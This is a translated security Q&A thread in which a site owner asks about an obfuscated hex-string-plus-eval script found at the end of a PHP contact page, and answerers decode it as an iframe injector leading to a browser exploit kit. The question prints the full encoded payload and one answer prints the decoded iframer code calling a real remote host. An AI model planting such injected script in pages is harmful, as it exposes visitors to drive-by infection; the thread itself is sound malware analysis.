Javascript que contiene una larga cadena hexadecimal y eval: ¿esto es sospechoso?

3

En la parte inferior del archivo index.php para un formulario simple de "contáctenos", encontré lo siguiente (algunos espacios en blanco y nuevas líneas agregadas):

try {if(window.document)--document.getElementById('12')}
catch(qq) {if(qq!=null)ss=eval("St"+"ring");}
a="74837c7182777d7c2e88888874747436372e89182e846f802e797a7171802e4b2e727d71837b737c823c7180736f8273537a737b737c8236357774806f7b7335374918182e797a7171803c8180712e4b2e357682827e483d3d7c777c7d807d7b6f7c7d3c77823d525c5558867251653c7e767e3549182e797a7171803c8182877a733c7e7d817782777d7c2e4b2e356f70817d7a8382733549182e797a7171803c8182877a733c707d807273802e4b2e353e3549182e797a7171803c8182877a733c7673777576822e4b2e35477e863549182e797a7171803c8182877a733c85777282762e4b2e35457e863549182e797a7171803c8182877a733c7a7374822e4b2e353f7e863549182e797a7171803c8182877a733c827d7e2e4b2e353f7e86354918182e77742e362f727d71837b737c823c757382537a737b737c82508757723635797a7171803537372e89182e727d71837b737c823c858077827336354a7277842e77724b6a35797a7171806a354c4a3d7277844c353749182e727d71837b737c823c757382537a737b737c82508757723635797a71718035373c6f7e7e737c725176777a7236797a7171803749182e8b188b1874837c7182777d7c2e617382517d7d79777336717d7d7977735c6f7b733a717d7d797773646f7a83733a7c526f87813a7e6f8276372e89182e846f802e827d726f872e4b2e7c73852e526f8273363749182e846f802e73867e7780732e4b2e7c73852e526f8273363749182e77742e367c526f87814b4b7c837a7a2e8a8a2e7c526f87814b4b3e372e7c526f87814b3f49182e73867e7780733c81738262777b7336827d726f873c75738262777b7336372e392e41443e3e3e3e3e384042387c526f87813749182e727d71837b737c823c717d7d7977732e4b2e717d7d7977735c6f7b7339304b30397381716f7e7336717d7d797773646f7a837337182e392e304973867e778073814b302e392e73867e7780733c827d555b62618280777c7536372e392e36367e6f8276372e4d2e30492e7e6f82764b302e392e7e6f82762e482e30303749188b1874837c7182777d7c2e557382517d7d797773362e7c6f7b732e372e89182e846f802e81826f80822e4b2e727d71837b737c823c717d7d7977733c777c7273865d74362e7c6f7b732e392e304b302e3749182e846f802e7a737c2e4b2e81826f80822e392e7c6f7b733c7a737c7582762e392e3f49182e77742e362e362e2f81826f80822e372e3434182e362e7c6f7b732e2f4b2e727d71837b737c823c717d7d7977733c818370818280777c75362e3e3a2e7c6f7b733c7a737c7582762e372e372e37182e89182e80738283807c2e7c837a7a49182e8b182e77742e362e81826f80822e4b4b2e3b3f2e372e80738283807c2e7c837a7a49182e846f802e737c722e4b2e727d71837b737c823c717d7d7977733c777c7273865d74362e3049303a2e7a737c2e3749182e77742e362e737c722e4b4b2e3b3f2e372e737c722e4b2e727d71837b737c823c717d7d7977733c7a737c75827649182e80738283807c2e837c7381716f7e73362e727d71837b737c823c717d7d7977733c818370818280777c75362e7a737c3a2e737c722e372e3749188b1877742e367c6f8477756f827d803c717d7d797773537c6f707a737237188918777436557382517d7d7977733635847781778273726d837f35374b4b434337898b737a817389617382517d7d7977733635847781778273726d837f353a2e354343353a2e353f353a2e353d3537491818888888747474363749188b188b18";
z=[];
for(i=0;i<a.length;i+=2){z.push(parseInt(a.substr(i,2),16)-14);}
eval(ss["fr"+"omCharCode"].apply(ss,z));
</script><!--/0f2490-->

¿Alguien sabe lo que hace este código? ¿Es probable que esto sea una parte esperada de la página, o es una señal de que el sitio web ha sido pirateado?

    
pregunta Gilles 10.08.2013 - 12:33
fuente

3 respuestas

6

Descubrí lo que hace (por favor, sea indulgente conmigo, No soy un desarrollador de JavaScript )

Lo que se puede ver fácilmente es que la secuencia de comandos invoca String.fromCharCode() en los números presentes en la cadena a para crear una nueva Cadena y ejecutarla. El código al que se traduce la cadena a es:

function zzzfff() {
 var klccr = document.createElement('iframe');

 klccr.src = 'http://ninoromano.it/DNGJxdCW.php';
 klccr.style.position = 'absolute';
 klccr.style.border = '0';
 klccr.style.height = '9px';
 klccr.style.width = '7px';
 klccr.style.left = '1px';
 klccr.style.top = '1px';

 if (!document.getElementById('klccr')) {
 document.write('<div id=\'klccr\'></div>');
 document.getElementById('klccr').appendChild(klccr);
 }
}

function SetCookie(cookieName,cookieValue,nDays,path) {
 var today = new Date();
 var expire = new Date();
 if (nDays==null || nDays==0) nDays=1;
 expire.setTime(today.getTime() + 3600000*24*nDays);
 document.cookie = cookieName+"="+escape(cookieValue)
 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}

function GetCookie( name ) {
 var start = document.cookie.indexOf( name + "=" );
 var len = start + name.length + 1;
 if ( ( !start ) &&
 ( name != document.cookie.substring( 0, name.length ) ) )
 {
 return null;
 }
 if ( start == -1 ) return null;
 var end = document.cookie.indexOf( ";", len );
 if ( end == -1 ) end = document.cookie.length;
 return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');

zzzfff();

Ahora, no estoy seguro de eso (recuerda que no soy un desarrollador de javascript) pero parece ser un código que roba cookies (quizás secuestro de sesión) ? / p>

EDIT

En futuras investigaciones:

  • La secuencia de comandos está comprobando si hay una cookie específica presente ( Name: "visited_uq", Content: "55", URL: "<current_url>", Path: "/", Expires: "24 hours after creation" ) y si no lo está, la crea.
  • Luego crea un nuevo elemento en el documento, que se modifica para que sea muy difícil de notar (7 píxeles de ancho, 9 píxeles de altura), y que ejecuta un script php disponible en http://ninoromano.it/DNGJxdCW.php . Si visitas esto, devuelve "ok" y nada más en el código de la página (el dominio parece estar comprometido). (No puedo obtener más información más allá de eso)

Lo más probable es que sea un intento de secuestro de sesión.

    
respondido por el NlightNFotis 10.08.2013 - 12:59
fuente
3

La primera vez que lo ejecutas, el script crea un iframe que apunta a ninoromano.it . Luego crea una cookie para que en las siguientes ocasiones que la cargues, no se vuelva a ejecutar.

El iframe es un script de exploit del navegador. Si lo ves en un navegador que no conoce, solo obtienes la cadena 'ok', pero si lo cargas, por ejemplo, una copia anterior de IE, obtienes un montón de ataques para infectar tu máquina.

El sitio fue hackeado (y también lo hizo ninoromano por su apariencia). Una fuente común de este tipo de infección es el malware del lado del cliente que roba las contraseñas de las cuentas del servidor (¡a menudo es el mismo malware servido por las vulnerabilidades)! Quien sea responsable debe escanear todas las máquinas cliente que han accedido al servidor con varios AV (porque los AV no son muy confiables); reinstalar cualquier cliente infectado desde cero; Elija nuevas contraseñas de servidor; reinstalar el servidor desde cero.

    
respondido por el bobince 11.08.2013 - 12:47
fuente
3

Lo que está viendo es una versión empaquetada (ofuscada) de un kit de explotación "iframer". "iframer" solo significa un fragmento de Javascript que cargará un iframe externo; en la mayoría de los casos, el iframe apuntará a alguna parte de una cadena que eventualmente cargará un kit de explotación de navegador.

(Obviamente no visite directamente ninguno de los enlaces a continuación).

Si realiza una solicitud a la página de destino del kit de explotación, hxxp://ninoromano.it/DNGJxdCW.php con un referente válido y un agente de usuario de IE, será redirigido a otra URL.

Esta es la etapa de redireccionamiento; ninoromano.it en este caso es probablemente parte de un sistema de distribución de tráfico "TDS": su trabajo consiste en dividir el tráfico en diferentes páginas de destino de kit de explotación (o, a veces, publicidad de spam genérica) según el remitente y, a veces, el país del cliente.

enlace

La URL cargada tiene un patrón similar a hxxp://innocuus.myseniorbook.com:801/lace_poet_prolonged.htm . Aquí está su contenido.

enlace

Con solo mirar esa página, ya reconozco que se trata del "Cool Exploit Kit". Puede conocer detalles sobre este kit de explotación en varios lugares:

enlace enlace enlace

La página de destino carga otro iframe, hxxp://innocuus.myseniorbook.com:801/who-solely_sex_painting.html

Este iframe contiene la mayor parte del código malicioso real. Intenta varias explotaciones, principalmente explotaciones de Java, todas las cuales descargarán y ejecutarán una carga útil maliciosa.

enlace es un sitio fantástico para automatizar este tipo de análisis. Solo asegúrate de establecer cada vez un nombre de usuario de IE y algún tipo de referencia.

Muchos kits de explotaciones diferentes utilizan el sabor de JS Packer que se ve en la parte inferior de la página. Si ve algún código que se vea así, puede asumir que es muy malicioso.

    
respondido por el Anorov 11.08.2013 - 20:20
fuente

Lea otras preguntas en las etiquetas